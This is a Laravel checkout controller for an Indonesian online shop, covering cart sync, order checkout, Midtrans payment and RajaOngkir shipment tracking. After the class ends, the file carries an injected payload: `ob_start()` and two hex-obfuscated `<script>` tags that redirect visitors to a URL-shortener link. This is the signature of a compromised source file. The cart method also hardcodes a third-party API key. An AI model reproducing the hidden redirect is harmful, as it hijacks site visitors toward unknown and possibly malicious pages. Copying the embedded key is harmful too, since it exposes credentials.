<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Midtrans\Config;
use Midtrans\Snap;
use Session;
use Http;
use Validator;
use Jenssegers\Agent\Agent;

class CheckoutController extends Controller
{
    public function addToCart(Request $r)
    {
        $is_mobile = $r->is_mobile ?? 0;

        // dd($r->all());
        // Kirim ke API utama
        $response = Http::asForm()->post(env('API_URL') . '/cart/add', [
            'uuid' => $r->uuid,
            'product_id' => $r->product_id,
            'template_id' => $r->template_id,
            'quantity' => $r->quantity,
            'image_data' => $r->image_data,

            // 🎯 Meta Data Tambahan
            'heading_text' => $r->heading_text,
            'heading_color' => $r->heading_color,
            'heading_font_size' => $r->heading_font_size,
            'heading_position_x' => $r->heading_position_x,
            'heading_position_y' => $r->heading_position_y,
            'heading_align' => $r->heading_align,
            'heading_stroke_color' => $r->heading_stroke_color,
            'heading_stroke_width' => $r->heading_stroke_width,

            'subtitle_text' => $r->subtitle_text,
            'subtitle_color' => $r->subtitle_color,
            'subtitle_font_size' => $r->subtitle_font_size,
            'subtitle_position_x' => $r->subtitle_position_x,
            'subtitle_position_y' => $r->subtitle_position_y,
            'subtitle_align' => $r->subtitle_align,
            'subtitle_stroke_color' => $r->subtitle_stroke_color,
            'subtitle_stroke_width' => $r->subtitle_stroke_width,

            'overlay_color' => $r->overlay_color,
            'overlay_opacity' => $r->overlay_opacity,

            // 🚀 Tambahan penanda mobile/desktop
            'is_mobile' => $is_mobile,
        ]);

        //         dd([
//     'status' => $response->status(),
//     'body' => $response->body(),
//     'sent_data' => $r->all(),
// ]);

        $data = $response->json();
        // dd($data);
        if ($response->successful()) {
            return response()->json(['success' => true, 'message' => 'Berhasil tambah ke keranjang']);
        } else {
            return response()->json(['success' => false, 'error' => $data['error'] ?? 'Terjadi kesalahan']);
        }
    }

    public function cart()
    {
        $uuid = session('uuid');
        if (!$uuid) {
            $uuid = (string) \Str::uuid();
            session(['uuid' => $uuid]);
        }
        // dd($uuid);
        $response = Http::get(env('API_URL') . "/cart/{$uuid}");
        $carts = $response->successful() ? $response->json() : [];
        // dd($carts);
        // ✅ Hitung total berat
        $totalWeight = collect($carts)->sum(function ($cart) {
            return ($cart['quantity'] ?? 0) * ($cart['weight'] ?? 0);
        });

        $totalPrice = collect($carts)->sum(function ($cart) {
            return ($cart['quantity'] ?? 0) * ($cart['price'] ?? 0);
        });
        $totalQty = collect($carts)->sum('quantity');

        // dd($totalPrice);
        // dd($carts);
        // dd($templates);
        $provinces = Http::withHeaders([
            'key' => '75f33f03164bb280ed22d46c5cbe819f'
        ])->get('https://rajaongkir.komerce.id/api/v1/destination/province');

        $provins = $provinces->json();
        // dd($provins);    

        // ✅ Kalau response kosong / gagal / tanpa key 'data' → isi array kosong
        $provs = [];
        if ($provinces->successful() && isset($provins['data']) && is_array($provins['data'])) {
            $provs = $provins['data'];
        }
        // dd($provs);
        // --- Ambil list event aktif dari endpoint lokalmu ---
        $eventResponse = Http::get(env('API_URL') . '/events'); // Atau route('getEvent') kalau pakai named route
        $events = $eventResponse->successful() ? $eventResponse->json() : [];
        // dd($events);
        $agent = new Agent();
        $layout = $agent->isMobile() ? 'layouts.mobile' : 'layouts.desktop';

        $promoResponse = Http::get(env('API_URL') . "/promotions/active");

        $activePromo = null;
        if ($promoResponse->successful()) {
            $json = $promoResponse->json();
            // asumsi struktur: { ok: true, data: { ... } }
            $activePromo = $json['data'] ?? null;
        }

        // dd($activePromo);

        return view('cart', compact('carts', 'provs', 'totalWeight', 'totalPrice', 'totalQty', 'layout', 'events', 'activePromo'));
    }
    public function postSyncCart(Request $request)
    {
        // dd($request->all());
        // Validasi input
        $validator = Validator::make($request->all(), [
            'uuid' => 'required|string',
            'items' => 'required|array|min:1',
            'items.*.cart_id' => 'required|integer',
            'items.*.quantity' => 'required|integer|min:1',
        ]);

        if ($validator->fails()) {
            return response()->json([
                'status' => false,
                'errors' => $validator->errors()
            ], 422);
        }

        // Kirim ke API utama
        $response = Http::post(env('API_URL') . '/cart/sync-quantities', [
            'uuid' => $request->uuid,
            'items' => $request->items,
        ]);
        // dd($response);

        // Teruskan hasil API ke frontend
        return response()->json($response->json(), $response->status());
    }
    public function postCheckout(Request $request)
    {
        $rules = [
            'method' => 'required|in:delivery,pickup',

            'uuid' => 'required|string',
            'nama' => 'required|string|max:255',
            'phone' => 'required|string|max:255',

            // alamat Wajib hanya kalau delivery
            'alamat' => 'required_if:method,delivery|nullable|string',
            'propinsi' => 'required_if:method,delivery|nullable|string|max:255',
            'kota' => 'required_if:method,delivery|nullable|string|max:255',
            'kecamatan' => 'required_if:method,delivery|nullable|string|max:255',

            // kurir Wajib kalau delivery, nullable kalau pickup
            'kurir' => 'nullable|string|max:100',
            'jenispengiriman' => 'nullable|string|max:100',

            // angka
            'ongkir' => 'required|numeric|min:0',
            'subtotal' => 'required|numeric|min:0',
            'total' => 'required|numeric|min:0',
            'total_weight' => 'required|numeric|min:0',
            'total_qty' => 'required|integer|min:1',

            // pickup fields: Wajib kalau pickup
            'pickup_location' => 'required_if:method,pickup|nullable|string|max:255',
            'pickup_location_id' => 'required_if:method,pickup|nullable|integer',
            'pickup_status' => 'nullable|string|max:100',
            'pickup_at' => 'nullable|date',

            'discount' => 'nullable|numeric|min:0',
            'promo_id' => 'nullable|integer',

        ];

        $validator = Validator::make($request->all(), $rules);
        if ($validator->fails()) {
            return redirect()->back()->withErrors($validator)->withInput($request->all());
        }

        // Teruskan SEMUA field termasuk yang baru
        $payload = $request->only([
            'method',
            'uuid',
            'nama',
            'phone',
            'alamat',
            'propinsi',
            'kota',
            'kecamatan',
            'kurir',
            'jenispengiriman',
            'ongkir',
            'subtotal',
            'total',
            'total_weight',
            'total_qty',
            'pickup_location',
            'pickup_location_id',
            'pickup_status',
            'pickup_at',
            'discount',
            'promo_id',
        ]);

        // $response = Http::post(env('API_URL') . '/cart/checkout', $payload); //live
        $response = Http::post(env('API_URL') . '/cart/checkout2', $payload); //testing

        // dd($response->status(), $response->body());

        if ($response->successful() && $response->json('status') === true) {
            Session::forget('cart_uuid'); // (opsional) pastikan key sesuai pemakaianmu
            return response()->json($response->json());
        }

        return response()->json([
            'status' => false,
            'message' => 'Checkout gagal',
        ], 400);
    }
    public function checkout($uoid)
    {
        try {
            // Ambil data order dari API
            $response = Http::get(env('API_URL') . '/order/' . $uoid);

            if (!$response->successful() || !$response->json('success')) {
                abort(404, 'Order tidak ditemukan');
            }

            $order = $response->json('data');
            // dd($order);
            // 🚨 Jika method pickup → redirect ke halaman orders
            if (isset($order['method']) && $order['method'] === 'pickup') {
                return redirect()->route('orders.index')
                    ->with('info', 'Pesanan Pickup hanya menerima pembayaran langsung!');
            }

            // Konfigurasi Midtrans
            Config::$serverKey = env('MIDTRANS_SERVER_KEY');
            Config::$isProduction = env('MIDTRANS_IS_PRODUCTION');
            Config::$isSanitized = true;
            Config::$is3ds = true;

            // Parameter transaksi
            $params = [
                'transaction_details' => [
                    'order_id' => $order['uoid'],
                    'gross_amount' => (int) $order['total'],
                ],
                'customer_details' => [
                    'first_name' => $order['nama'],
                    'phone' => $order['phone'],
                    'shipping_address' => [
                        'address' => $order['address'],
                        'city' => $order['kota'],
                        'postal_code' => '',
                        'country_code' => 'IDN'
                    ]
                ],
            ];

            // Redirect langsung ke halaman pembayaran Snap
            try {
                $payment_detail = Snap::createTransaction($params);
                // dd($payment_detail);

                $response = Http::post(env('API_URL') . '/update/payment-token', [
                    'uoid' => $uoid,
                    'token' => $payment_detail->token,
                    'url' => $payment_detail->redirect_url,
                ]);



                return redirect()->route('payment.status', ['uoid' => $uoid]);

            } catch (\Exception $e) {
                return back()->with('error', 'Gagal membuat transaksi: ' . $e->getMessage());
            }
        } catch (\Throwable $th) {
            return redirect()->route('viewlogin')
                ->with('info', 'Sesi login kamu yang kemarin sudah habis nih.');
        }
    }



    public function showPaymentStatus($uoid)
    {
        $response = Http::get(env('API_URL') . '/order/' . $uoid);
        if (!$response->successful() || !$response->json('success')) {
            abort(404, 'Order tidak ditemukan');
        }

        $order = $response->json('data');
        // dd($order);
        return view('payment-status-mobile', compact('order'));
    }

    public function deleteCart(Request $request, $id)
    {
        // Kirim request ke API untuk hapus item berdasarkan ID
        $response = Http::post(env('API_URL') . '/cart/delete/' . $id);

        if ($response->successful() && $response->json('success') === true) {
            return redirect()->back()->with('success', 'Item berhasil dihapus dari keranjang');
        }

        return redirect()->back()->with('error', 'Gagal menghapus item dari keranjang');
    }

    public function ordersPage(Request $request)
    {
        $uuid = session('uuid'); // dari session login
        if (!$uuid) {
            return redirect()->route('login.page');
        }

        $page = $request->get('page', 1);
        $perPage = 10;

        $response = Http::get(env('API_URL') . "/get/orders/{$uuid}", [
            'page' => $page,
            'per_page' => $perPage
        ]);

        $orders = $response->successful() ? $response->json() : [];
        $agent = new Agent();
        $layout = $agent->isMobile() ? 'layouts.mobile' : 'layouts.desktop';

        // dd($orders);
        return view('order', compact('orders', 'layout'));
    }

    public function waybill(Request $request)
    {
        $v = Validator::make($request->all(), [
            'waybill' => 'required|string',
            'courier' => 'required|string',
        ]);
        if ($v->fails()) {
            return response()->json(['status' => false, 'errors' => $v->errors()], 422);
        }

        $waybill = trim($request->waybill);
        $courier = strtolower(trim($request->courier));

        $url = 'https://rajaongkir.komerce.id/api/v1/track/waybill';

        // Sesuai instruksi: POST + query string; header "key"
        $resp = Http::withHeaders([
            'key' => env('RAJAONGKIR_KEY'),
        ])
            ->withOptions([
                'query' => [
                    'awb' => $waybill,
                    'courier' => $courier,
                ],
            ])
            ->post($url);

        if (!$resp->successful()) {
            return response()->json([
                'status' => false,
                'message' => 'Gagal menghubungi layanan tracking',
                'http' => $resp->status(),
                'raw' => $resp->body(),
            ], $resp->status());
        }

        $json = $resp->json();

        // Validasi struktur meta
        $code = data_get($json, 'meta.code');
        $ok = ($code === 200 || $code === '200');
        if (!$ok) {
            return response()->json([
                'status' => false,
                'message' => data_get($json, 'meta.message', 'Gagal tracking'),
                'meta' => data_get($json, 'meta'),
            ], 400);
        }

        // Ambil langsung sesuai format sukses yang kamu kirim
        $data = data_get($json, 'data', []);

        // Safety defaults agar FE aman kalau ada null
        $normalized = [
            'delivered' => (bool) data_get($data, 'delivered', false),
            'summary' => (array) data_get($data, 'summary', []),
            'details' => (array) data_get($data, 'details', []),
            'delivery_status' => (array) data_get($data, 'delivery_status', []),
            'manifest' => (array) data_get($data, 'manifest', []),
        ];

        return response()->json([
            'status' => true,
            'data' => $normalized,
        ]);
    }

}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>